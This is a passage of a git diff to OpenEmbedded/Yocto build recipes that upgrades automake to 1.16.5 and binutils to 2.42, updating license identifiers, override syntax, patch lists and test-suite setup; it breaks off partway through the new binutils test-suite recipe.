diff --git a/meta/recipes-devtools/automake/automake.inc b/meta/recipes-devtools/automake/automake.inc
index 87cedc9838..9946c73c71 100644
--- a/meta/recipes-devtools/automake/automake.inc
+++ b/meta/recipes-devtools/automake/automake.inc
@@ -1,7 +1,7 @@
SUMMARY = "A GNU tool for automatically generating Makefiles"
DESCRIPTION = "Automake is a tool for automatically generating `Makefile.in' files compliant with the GNU Coding \
Standards. Automake requires the use of Autoconf."
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
HOMEPAGE = "http://www.gnu.org/software/automake/"
SECTION = "devel"
@@ -18,4 +18,4 @@ do_configure() {
export AUTOMAKE = "${@bb.utils.which('automake', d.getVar('PATH'))}"
-FILES_${PN} += "${datadir}/automake* ${datadir}/aclocal*"
+FILES:${PN} += "${datadir}/automake* ${datadir}/aclocal*"
diff --git a/meta/recipes-devtools/automake/automake/0001-Drop-ar-u-argument.patch b/meta/recipes-devtools/automake/automake/0001-Drop-ar-u-argument.patch
new file mode 100644
index 0000000000..f72788c3a6
--- /dev/null
+++ b/meta/recipes-devtools/automake/automake/0001-Drop-ar-u-argument.patch
@@ -0,0 +1,35 @@
+From bed646918bc67e9e2151ccbda03aae34717821fe Mon Sep 17 00:00:00 2001
+From: Andrei Gherzan <andrei.gherzan@huawei.com>
+Date: Wed, 20 Apr 2022 14:57:14 +0200
+Subject: [PATCH] Drop ar 'u' argument
+
+binutils/ar is configured in deterministic mode by default making the
+'u' argument irrelevant while leading to warning massages similar to:
+
+| ar: `u' modifier ignored since `D' is the default (see `U')
+
+We also add 'D' flag explicitely to not rely in the default configuration
+for reproducible archives.
+
+Upstream-Status: Inappropriate [OE specific]
+Signed-off-by: Andrei Gherzan <andrei.gherzan@huawei.com>
+---
+ bin/automake.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/bin/automake.in b/bin/automake.in
+index 92bcebe..0f2b84b 100644
+--- a/bin/automake.in
++++ b/bin/automake.in
+@@ -2678,7 +2678,7 @@ sub handle_libraries ()
+ }
+
+ define_variable ('AR', 'ar', INTERNAL);
+- define_variable ('ARFLAGS', 'cru', INTERNAL);
++ define_variable ('ARFLAGS', 'crD', INTERNAL);
+ define_verbose_tagvar ('AR');
+
+ foreach my $pair (@liblist)
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch b/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch
new file mode 100644
index 0000000000..d28045618e
--- /dev/null
+++ b/meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch
@@ -0,0 +1,83 @@
+From dff74c5b19935cc11b30116a7ae9c8affdff246b Mon Sep 17 00:00:00 2001
+From: Kumar Gala <galak@kernel.crashing.org>
+Date: Thu, 11 Aug 2011 01:26:33 -0500
+Subject: [PATCH] automake: Update for python.m4 to respect libdir
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
+
+Updated for automake-1.12.6
+
+Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ m4/python.m4 | 24 ++++++------------------
+ 1 file changed, 6 insertions(+), 18 deletions(-)
+
+diff --git a/m4/python.m4 b/m4/python.m4
+index 4e7de9427..40fc5b396 100644
+--- a/m4/python.m4
++++ b/m4/python.m4
+@@ -96,6 +96,8 @@ AC_DEFUN([AM_PATH_PYTHON],
+ [am_cv_python_version=`$PYTHON -c "import sys; print ('%u.%u' % sys.version_info[[:2]])"`])
+ AC_SUBST([PYTHON_VERSION], [$am_cv_python_version])
+
++ AC_SUBST([PYTHON_LIB_PREFIX], ['${libdir}'])
++
+ dnl At times, e.g., when building shared libraries, you may want
+ dnl to know which OS platform Python thinks this is.
+ dnl
+@@ -251,14 +253,7 @@ except ImportError:
+ else
+ am_py_prefix=$am_cv_python_prefix
+ fi
+- am_cv_python_pythondir=`$PYTHON -c "
+-$am_python_setup_sysconfig
+-if can_use_sysconfig:
+- sitedir = sysconfig.get_path('purelib', vars={'base':'$am_py_prefix'})
+-else:
+- from distutils import sysconfig
+- sitedir = sysconfig.get_python_lib(0, 0, prefix='$am_py_prefix')
+-sys.stdout.write(sitedir)"`
++ am_cv_python_pythondir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
+ #
+ case $am_cv_python_pythondir in
+ $am_py_prefix*)
+@@ -268,7 +263,7 @@ sys.stdout.write(sitedir)"`
+ *)
+ case $am_py_prefix in
+ /usr|/System*) ;;
+- *) am_cv_python_pythondir="\${PYTHON_PREFIX}/lib/python$PYTHON_VERSION/site-packages"
++ *) am_cv_python_pythondir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
+ ;;
+ esac
+ ;;
+@@ -293,14 +288,7 @@ sys.stdout.write(sitedir)"`
+ else
+ am_py_exec_prefix=$am_cv_python_exec_prefix
+ fi
+- am_cv_python_pyexecdir=`$PYTHON -c "
+-$am_python_setup_sysconfig
+-if can_use_sysconfig:
+- sitedir = sysconfig.get_path('platlib', vars={'platbase':'$am_py_exec_prefix'})
+-else:
+- from distutils import sysconfig
+- sitedir = sysconfig.get_python_lib(1, 0, prefix='$am_py_exec_prefix')
+-sys.stdout.write(sitedir)"`
++ am_cv_python_pyexecdir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
+ #
+ case $am_cv_python_pyexecdir in
+ $am_py_exec_prefix*)
+@@ -310,7 +298,7 @@ sys.stdout.write(sitedir)"`
+ *)
+ case $am_py_exec_prefix in
+ /usr|/System*) ;;
+- *) am_cv_python_pyexecdir="\${PYTHON_EXEC_PREFIX}/lib/python$PYTHON_VERSION/site-packages"
++ *) am_cv_python_pyexecdir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
+ ;;
+ esac
+ ;;
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch b/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch
deleted file mode 100644
index 0e84c4bf86..0000000000
--- a/meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 857c843d4bcf576467b505eb05a47f3e7d32caaa Mon Sep 17 00:00:00 2001
-From: Serhii Popovych <spopovyc@cisco.com>
-Date: Wed, 10 Feb 2016 17:07:32 +0000
-Subject: [PATCH] perl: Replace -w option in shebangs with modern "use
- warnings" In some builds we might provide ac_cv_path_PERL as /usr/bin/env
- perl to use newer version of the perl from users PATH rather than older from
- standard system path.
-
-However using /usr/bin/env perl -w from shebang line isn't
-possible because it translates to something like
-/usr/bin/env -w perl and env complains about illegal option.
-
-To address this we can remove -w option from perl shebang
-line and add "use warnings" statement.
-
-Upstream-Status: Pending
-Signed-off-by: Serhii Popovych <spopovyc@cisco.com>
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- bin/aclocal.in | 3 ++-
- bin/automake.in | 3 ++-
- 2 files changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/bin/aclocal.in b/bin/aclocal.in
-index 9a20325..bd185d4 100644
---- a/bin/aclocal.in
-+++ b/bin/aclocal.in
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- # aclocal - create aclocal.m4 by scanning configure.ac -*- perl -*-
- # @configure_input@
- # Copyright (C) 1996-2020 Free Software Foundation, Inc.
-@@ -26,6 +26,7 @@ BEGIN
- }
-
- use strict;
-+use warnings;
-
- use Automake::Config;
- use Automake::General;
-diff --git a/bin/automake.in b/bin/automake.in
-index 5ed404a..d387b8e 100644
---- a/bin/automake.in
-+++ b/bin/automake.in
-@@ -1,4 +1,4 @@
--#!@PERL@ -w
-+#!@PERL@
- # automake - create Makefile.in from Makefile.am -*- perl -*-
- # @configure_input@
- # Copyright (C) 1994-2020 Free Software Foundation, Inc.
-@@ -23,6 +23,7 @@
- package Automake;
-
- use strict;
-+use warnings;
-
- BEGIN
- {
diff --git a/meta/recipes-devtools/automake/automake/buildtest.patch b/meta/recipes-devtools/automake/automake/buildtest.patch
index b88b9e8693..c43a4ac8f3 100644
--- a/meta/recipes-devtools/automake/automake/buildtest.patch
+++ b/meta/recipes-devtools/automake/automake/buildtest.patch
@@ -36,7 +36,7 @@ index e0db651..de137fa 100644
-check-TESTS: $(TESTS)
+AM_RECURSIVE_TARGETS += buildtest runtest
+
-+buildtest-TESTS: $(TESTS)
++buildtest-TESTS: $(TESTS) $(check_PROGRAMS)
+
+check-TESTS: buildtest-TESTS
+ $(MAKE) $(AM_MAKEFLAGS) runtest-TESTS
diff --git a/meta/recipes-devtools/automake/automake/python-libdir.patch b/meta/recipes-devtools/automake/automake/python-libdir.patch
deleted file mode 100644
index ee1f725f76..0000000000
--- a/meta/recipes-devtools/automake/automake/python-libdir.patch
+++ /dev/null
@@ -1,88 +0,0 @@
-From a80dacd5124d0713cf2c986b28d736e78dc6b0ca Mon Sep 17 00:00:00 2001
-From: Kumar Gala <galak@kernel.crashing.org>
-Date: Thu, 11 Aug 2011 01:26:33 -0500
-Subject: [PATCH] automake: Update for python.m4 to respect libdir
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
-
-Updated for automake-1.12.6
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- m4/python.m4 | 27 +++++++--------------------
- 1 file changed, 7 insertions(+), 20 deletions(-)
-
-diff --git a/m4/python.m4 b/m4/python.m4
-index 63c0a0e..7bbd2d2 100644
---- a/m4/python.m4
-+++ b/m4/python.m4
-@@ -94,12 +94,13 @@ AC_DEFUN([AM_PATH_PYTHON],
- [am_cv_python_version=`$PYTHON -c "import sys; sys.stdout.write(sys.version[[:3]])"`])
- AC_SUBST([PYTHON_VERSION], [$am_cv_python_version])
-
-- dnl Use the values of $prefix and $exec_prefix for the corresponding
-- dnl values of PYTHON_PREFIX and PYTHON_EXEC_PREFIX. These are made
-+ dnl Use the values of $prefix, $libdir and $exec_prefix for the corresponding
-+ dnl values of PYTHON_PREFIX PYTHON_LIB_PREFIX, and PYTHON_EXEC_PREFIX. These are made
- dnl distinct variables so they can be overridden if need be. However,
- dnl general consensus is that you shouldn't need this ability.
-
- AC_SUBST([PYTHON_PREFIX], ['${prefix}'])
-+ AC_SUBST([PYTHON_LIB_PREFIX], ['${libdir}'])
- AC_SUBST([PYTHON_EXEC_PREFIX], ['${exec_prefix}'])
-
- dnl At times (like when building shared libraries) you may want
-@@ -144,14 +145,7 @@ except ImportError:
- else
- am_py_prefix=$prefix
- fi
-- am_cv_python_pythondir=`$PYTHON -c "
--$am_python_setup_sysconfig
--if can_use_sysconfig:
-- sitedir = sysconfig.get_path('purelib', vars={'base':'$am_py_prefix'})
--else:
-- from distutils import sysconfig
-- sitedir = sysconfig.get_python_lib(0, 0, prefix='$am_py_prefix')
--sys.stdout.write(sitedir)"`
-+ am_cv_python_pythondir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
- case $am_cv_python_pythondir in
- $am_py_prefix*)
- am__strip_prefix=`echo "$am_py_prefix" | sed 's|.|.|g'`
-@@ -161,7 +155,7 @@ sys.stdout.write(sitedir)"`
- case $am_py_prefix in
- /usr|/System*) ;;
- *)
-- am_cv_python_pythondir=$PYTHON_PREFIX/lib/python$PYTHON_VERSION/site-packages
-+ am_cv_python_pythondir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
- ;;
- esac
- ;;
-@@ -186,14 +180,7 @@ sys.stdout.write(sitedir)"`
- else
- am_py_exec_prefix=$exec_prefix
- fi
-- am_cv_python_pyexecdir=`$PYTHON -c "
--$am_python_setup_sysconfig
--if can_use_sysconfig:
-- sitedir = sysconfig.get_path('platlib', vars={'platbase':'$am_py_prefix'})
--else:
-- from distutils import sysconfig
-- sitedir = sysconfig.get_python_lib(1, 0, prefix='$am_py_prefix')
--sys.stdout.write(sitedir)"`
-+ am_cv_python_pyexecdir=`echo "$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages"`
- case $am_cv_python_pyexecdir in
- $am_py_exec_prefix*)
- am__strip_prefix=`echo "$am_py_exec_prefix" | sed 's|.|.|g'`
-@@ -203,7 +190,7 @@ sys.stdout.write(sitedir)"`
- case $am_py_exec_prefix in
- /usr|/System*) ;;
- *)
-- am_cv_python_pyexecdir=$PYTHON_EXEC_PREFIX/lib/python$PYTHON_VERSION/site-packages
-+ am_cv_python_pyexecdir=$PYTHON_LIB_PREFIX/python$PYTHON_VERSION/site-packages
- ;;
- esac
- ;;
diff --git a/meta/recipes-devtools/automake/automake_1.16.2.bb b/meta/recipes-devtools/automake/automake_1.16.2.bb
deleted file mode 100644
index fd8ed0ed3b..0000000000
--- a/meta/recipes-devtools/automake/automake_1.16.2.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-require automake.inc
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-DEPENDS_class-native = "autoconf-native"
-
-NAMEVER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-RDEPENDS_${PN} += "\
- autoconf \
- perl \
- perl-module-bytes \
- perl-module-data-dumper \
- perl-module-strict \
- perl-module-text-parsewords \
- perl-module-thread-queue \
- perl-module-threads \
- perl-module-vars "
-
-RDEPENDS_${PN}_class-native = "autoconf-native hostperl-runtime-native"
-RDEPENDS_${PN}_class-nativesdk = "nativesdk-autoconf"
-
-SRC_URI += "file://python-libdir.patch \
- file://buildtest.patch \
- file://performance.patch \
- file://new_rt_path_for_test-driver.patch \
- file://automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch \
- file://0001-automake-Add-default-libtool_tag-to-cppasm.patch \
- file://0001-build-fix-race-in-parallel-builds.patch \
- "
-
-SRC_URI[md5sum] = "f1a14f2ab2b0fb861a011e1d94e589e0"
-SRC_URI[sha256sum] = "b2f361094b410b4acbf4efba7337bdb786335ca09eb2518635a09fb7319ca5c1"
-
-PERL = "${USRBINPATH}/perl"
-PERL_class-native = "${USRBINPATH}/env perl"
-PERL_class-nativesdk = "${USRBINPATH}/env perl"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
-
-do_install_append () {
- install -d ${D}${datadir}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/automake/automake_1.16.5.bb b/meta/recipes-devtools/automake/automake_1.16.5.bb
new file mode 100644
index 0000000000..469fcd69f7
--- /dev/null
+++ b/meta/recipes-devtools/automake/automake_1.16.5.bb
@@ -0,0 +1,43 @@
+require automake.inc
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+DEPENDS:class-native = "autoconf-native"
+
+NAMEVER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+RDEPENDS:${PN} += "\
+ autoconf \
+ perl \
+ perl-module-bytes \
+ perl-module-data-dumper \
+ perl-module-strict \
+ perl-module-text-parsewords \
+ perl-module-thread-queue \
+ perl-module-threads \
+ perl-module-vars "
+
+RDEPENDS:${PN}:class-native = "autoconf-native hostperl-runtime-native"
+
+SRC_URI += "\
+ file://0001-automake-Update-for-python.m4-to-respect-libdir.patch \
+ file://buildtest.patch \
+ file://performance.patch \
+ file://new_rt_path_for_test-driver.patch \
+ file://0001-automake-Add-default-libtool_tag-to-cppasm.patch \
+ file://0001-build-fix-race-in-parallel-builds.patch \
+ file://0001-Drop-ar-u-argument.patch \
+ "
+
+SRC_URI[sha256sum] = "07bd24ad08a64bc17250ce09ec56e921d6343903943e99ccf63bbf0705e34605"
+
+PERL = "${USRBINPATH}/perl"
+PERL:class-native = "${USRBINPATH}/env perl"
+PERL:class-nativesdk = "${USRBINPATH}/env perl"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
+
+do_install:append () {
+ install -d ${D}${datadir}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/binutils/binutils-2.35.inc b/meta/recipes-devtools/binutils/binutils-2.35.inc
deleted file mode 100644
index 9aa5e7efe3..0000000000
--- a/meta/recipes-devtools/binutils/binutils-2.35.inc
+++ /dev/null
@@ -1,46 +0,0 @@
-LIC_FILES_CHKSUM="\
- file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
- file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674\
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504\
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6\
- file://gas/COPYING;md5=d32239bcb673463ab874e80d47fae504\
- file://include/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
- file://include/COPYING3;md5=d32239bcb673463ab874e80d47fae504\
- file://libiberty/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7\
- file://bfd/COPYING;md5=d32239bcb673463ab874e80d47fae504\
- "
-
-def binutils_branch_version(d):
- pvsplit = d.getVar('PV').split('.')
- return pvsplit[0] + "_" + pvsplit[1]
-
-# When upgrading to 2.35, please make sure there is no trailing .0, so
-# that upstream version check can work correctly.
-PV = "2.35"
-CVE_VERSION = "2.35"
-BINUPV = "${@binutils_branch_version(d)}"
-#BRANCH = "binutils-${BINUPV}-branch"
-BRANCH ?= "binutils-2_35-branch"
-
-UPSTREAM_CHECK_GITTAGREGEX = "binutils-(?P<pver>\d+_(\d_?)*)"
-
-SRCREV ?= "89a9065674a14a8bd94bb326b27d19a2f3583efb"
-BINUTILS_GIT_URI ?= "git://sourceware.org/git/binutils-gdb.git;branch=${BRANCH};protocol=git"
-SRC_URI = "\
- ${BINUTILS_GIT_URI} \
- file://0004-configure-widen-the-regexp-for-SH-architectures.patch \
- file://0005-Point-scripts-location-to-libdir.patch \
- file://0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch \
- file://0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch \
- file://0008-warn-for-uses-of-system-directories-when-cross-linki.patch \
- file://0009-Change-default-emulation-for-mips64-linux.patch \
- file://0010-Add-support-for-Netlogic-XLP.patch \
- file://0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch \
- file://0012-Detect-64-bit-MIPS-targets.patch \
- file://0013-Use-libtool-2.4.patch \
- file://0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch \
- file://0015-sync-with-OE-libtool-changes.patch \
- file://0016-Check-for-clang-before-checking-gcc-version.patch \
- file://0017-Do-not-emit-R_RISCV_NONE-reloc-in-the-extra-unused-r.patch \
-"
-S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/binutils/binutils-2.42.inc b/meta/recipes-devtools/binutils/binutils-2.42.inc
new file mode 100644
index 0000000000..3b6f47d4ce
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-2.42.inc
@@ -0,0 +1,40 @@
+LIC_FILES_CHKSUM="\
+ file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
+ file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674\
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504\
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6\
+ file://gas/COPYING;md5=d32239bcb673463ab874e80d47fae504\
+ file://include/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
+ file://include/COPYING3;md5=d32239bcb673463ab874e80d47fae504\
+ file://libiberty/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7\
+ file://bfd/COPYING;md5=d32239bcb673463ab874e80d47fae504\
+ "
+
+# When upgrading to 2.42, please make sure there is no trailing .0, so
+# that upstream version check can work correctly.
+PV = "2.42"
+CVE_VERSION = "2.42"
+SRCBRANCH ?= "binutils-2_42-branch"
+
+UPSTREAM_CHECK_GITTAGREGEX = "binutils-(?P<pver>\d+_(\d_?)*)"
+
+CVE_STATUS[CVE-2023-25584] = "cpe-incorrect: Applies only for version 2.40 and earlier"
+
+SRCREV ?= "553c7f61b74badf91df484450944675efd9cd485"
+BINUTILS_GIT_URI ?= "git://sourceware.org/git/binutils-gdb.git;branch=${SRCBRANCH};protocol=https"
+SRC_URI = "\
+ ${BINUTILS_GIT_URI} \
+ file://0004-Point-scripts-location-to-libdir.patch \
+ file://0005-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch \
+ file://0006-warn-for-uses-of-system-directories-when-cross-linki.patch \
+ file://0007-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch \
+ file://0008-Use-libtool-2.4.patch \
+ file://0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch \
+ file://0010-sync-with-OE-libtool-changes.patch \
+ file://0011-Check-for-clang-before-checking-gcc-version.patch \
+ file://0012-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch \
+ file://0013-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch \
+ file://0014-Remove-duplicate-pe-dll.o-entry-deom-targ_extra_ofil.patch \
+ file://0015-gprofng-change-use-of-bignum-to-bigint.patch \
+"
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/binutils/binutils-cross-canadian.inc b/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
index e98f31f9c3..62ebb3f5bc 100644
--- a/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
+++ b/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
@@ -4,7 +4,7 @@ SUMMARY = "GNU binary utilities (cross-canadian for ${TARGET_ARCH} target)"
PN = "binutils-cross-canadian-${TRANSLATED_TARGET_ARCH}"
BPN = "binutils"
-DEPENDS = "flex-native bison-native virtual/${HOST_PREFIX}gcc-crosssdk virtual/nativesdk-libc nativesdk-zlib nativesdk-gettext nativesdk-flex"
+DEPENDS = "flex-native bison-native virtual/${HOST_PREFIX}gcc virtual/nativesdk-libc nativesdk-zlib nativesdk-gettext nativesdk-flex"
EXTRA_OECONF += "--with-sysroot=${SDKPATH}/sysroots/${TUNE_PKGARCH}${TARGET_VENDOR}-${TARGET_OS} \
--enable-poison-system-directories \
"
@@ -13,8 +13,6 @@ EXTRA_OECONF += "--with-sysroot=${SDKPATH}/sysroots/${TUNE_PKGARCH}${TARGET_VEND
# e.g. we switch between different machines with different tunes.
EXTRA_OECONF[vardepsexclude] = "TUNE_PKGARCH"
-LDGOLD_sdkmingw32 = ""
-
do_install () {
autotools_do_install
@@ -25,7 +23,9 @@ do_install () {
rm -f ${D}${libdir}/libiberty*
rm -f ${D}${libdir}/libopcodes*
rm -f ${D}${includedir}/*.h
-
+ rm -f ${D}${sysconfdir}/gprofng.rc
+ rmdir ${D}${sysconfdir} || :
+
cross_canadian_bindirlinks
}
diff --git a/meta/recipes-devtools/binutils/binutils-cross-canadian_2.35.bb b/meta/recipes-devtools/binutils/binutils-cross-canadian_2.42.bb
index 5dbaa03017..5dbaa03017 100644
--- a/meta/recipes-devtools/binutils/binutils-cross-canadian_2.35.bb
+++ b/meta/recipes-devtools/binutils/binutils-cross-canadian_2.42.bb
diff --git a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.35.bb b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.35.bb
deleted file mode 100644
index 07a8e7c417..0000000000
--- a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.35.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-require binutils.inc
-require binutils-${PV}.inc
-
-BPN = "binutils"
-
-DEPENDS += "dejagnu-native expect-native"
-DEPENDS += "binutils-native"
-
-deltask do_compile
-deltask do_install
-
-inherit nopackages
-
-do_configure[dirs] += "${B}/ld ${B}/bfd"
-do_configure() {
- # create config.h, oe enables initfini-array by default
- echo "#define HAVE_INITFINI_ARRAY" > ${B}/ld/config.h
- # use the bfd_stdint.h from binutils-native, this is the same of the one
- # generated by binutils-cross
- cp ${RECIPE_SYSROOT_NATIVE}/usr/include/bfd_stdint.h ${B}/bfd/
-}
-
-# target depends
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}binutils"
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}gcc"
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs"
-DEPENDS += "virtual/${MLPREFIX}libc"
-
-python check_prepare() {
- def suffix_sys(sys):
- if sys.endswith("-linux"):
- return sys + "-gnu"
- return sys
-
- def generate_site_exp(d, suite):
- content = []
- content.append('set srcdir "{0}/{1}"'.format(d.getVar("S"), suite))
- content.append('set objdir "{0}/{1}"'.format(d.getVar("B"), suite))
- content.append('set build_alias "{0}"'.format(d.getVar("BUILD_SYS")))
- content.append('set build_triplet {0}'.format(d.getVar("BUILD_SYS")))
- # use BUILD here since HOST=TARGET
- content.append('set host_alias "{0}"'.format(d.getVar("BUILD_SYS")))
- content.append('set host_triplet {0}'.format(d.getVar("BUILD_SYS")))
- content.append('set target_alias "{0}"'.format(d.getVar("TARGET_SYS")))
- content.append('set target_triplet {0}'.format(suffix_sys(d.getVar("TARGET_SYS"))))
- content.append("set development true")
- content.append("set experimental false")
-
- content.append(d.expand('set CXXFILT "${TARGET_PREFIX}c++filt"'))
- content.append(d.expand('set CC "${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
- content.append(d.expand('set CXX "${TARGET_PREFIX}g++ --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
- content.append(d.expand('set CFLAGS_FOR_TARGET "--sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
-
- if suite == "ld" and d.getVar("TUNE_ARCH") == "mips64":
- # oe patches binutils to have the default mips64 abi as 64bit, but
- # skips gas causing issues with the ld test suite (which uses gas)
- content.append('set ASFLAGS "-64"')
-
- return "\n".join(content)
-
- for i in ["binutils", "gas", "ld"]:
- builddir = os.path.join(d.getVar("B"), i)
- if not os.path.isdir(builddir):
- os.makedirs(builddir)
- with open(os.path.join(builddir, "site.exp"), "w") as f:
- f.write(generate_site_exp(d, i))
-}
-
-CHECK_TARGETS ??= "binutils gas ld"
-
-do_check[dirs] = "${B} ${B}/binutils ${B}/gas ${B}/ld"
-do_check[prefuncs] += "check_prepare"
-do_check[nostamp] = "1"
-do_check() {
- export LC_ALL=C
- for i in ${CHECK_TARGETS}; do
- (cd ${B}/$i; runtest \
- --tool $i \
- --srcdir ${S}/$i/testsuite \
- --ignore 'plugin.exp' \
- || true)
- done
-}
-addtask check after do_configure
-
diff --git a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.42.bb b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.42.bb
new file mode 100644
index 0000000000..630815c7a3
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.42.bb
@@ -0,0 +1,83 @@
+require binutils.inc
+require binutils-${PV}.inc
+
+BPN = "binutils"
+
+DEPENDS += "dejagnu-native expect-native"
+DEPENDS += "binutils-native"
+
+deltask do_compile
+deltask do_install
+
+inherit nopackages
+
+do_configure[dirs] += "${B}/ld ${B}/bfd"
+do_configure() {
+ # create config.h, oe enables initfini-array by default
+ echo "#define HAVE_INITFINI_ARRAY" > ${B}/ld/config.h
+}
+
+# target depends
+DEPENDS += "virtual/${TARGET_PREFIX}binutils"
+DEPENDS += "virtual/${TARGET_PREFIX}gcc"
+DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs"
+DEPENDS += "virtual/${MLPREFIX}libc"
+
+python check_prepare() {
+ def suffix_sys(sys):
+ if sys.endswith("-linux"):
+ return sys + "-gnu"
+ return sys
+
+ def generate_site_exp(d, suite):
+ content = []
+ content.append('set srcdir "{0}/{1}"'.format(d.getVar("S"), suite))
+ content.append('set objdir "{0}/{1}"'.format(d.getVar("B"), suite))
+ content.append('set build_alias "{0}"'.format(d.getVar("BUILD_SYS")))
+ content.append('set build_triplet {0}'.format(d.getVar("BUILD_SYS")))
+ # use BUILD here since HOST=TARGET
+ content.append('set host_alias "{0}"'.format(d.getVar("BUILD_SYS")))
+ content.append('set host_triplet {0}'.format(d.getVar("BUILD_SYS")))
+ content.append('set target_alias "{0}"'.format(d.getVar("TARGET_SYS")))
+ content.append('set target_triplet {0}'.format(suffix_sys(d.getVar("TARGET_SYS"))))
+ content.append("set development true")
+ content.append("set experimental false")
+
+ content.append(d.expand('set CXXFILT "${TARGET_PREFIX}c++filt"'))
+ content.append(d.expand('set CC "${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+ content.append(d.expand('set CXX "${TARGET_PREFIX}g++ --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+ content.append(d.expand('set CFLAGS_FOR_TARGET "--sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+ content.append(d.expand('set LD "${TARGET_PREFIX}ld ${TUNE_LDARGS}"'))
+ content.append(d.expand('set LDFLAGS_FOR_TARGET "${TUNE_LDARGS}"'))
+
+ if suite == "ld" and d.getVar("TUNE_ARCH") == "mips64":
+ # oe patches binutils to have the default mips64 abi as 64bit, but
+ # skips gas causing issues with the ld test suite (which uses gas)
+ content.append('set ASFLAGS "-64"')
+
+ return "\n".join(content)
+
+ for i in ["binutils", "gas", "ld"]:
+ builddir = os.path.join(d.getVar("B"), i)
+ if not os.path.isdir(builddir):
+ os.makedirs(builddir)
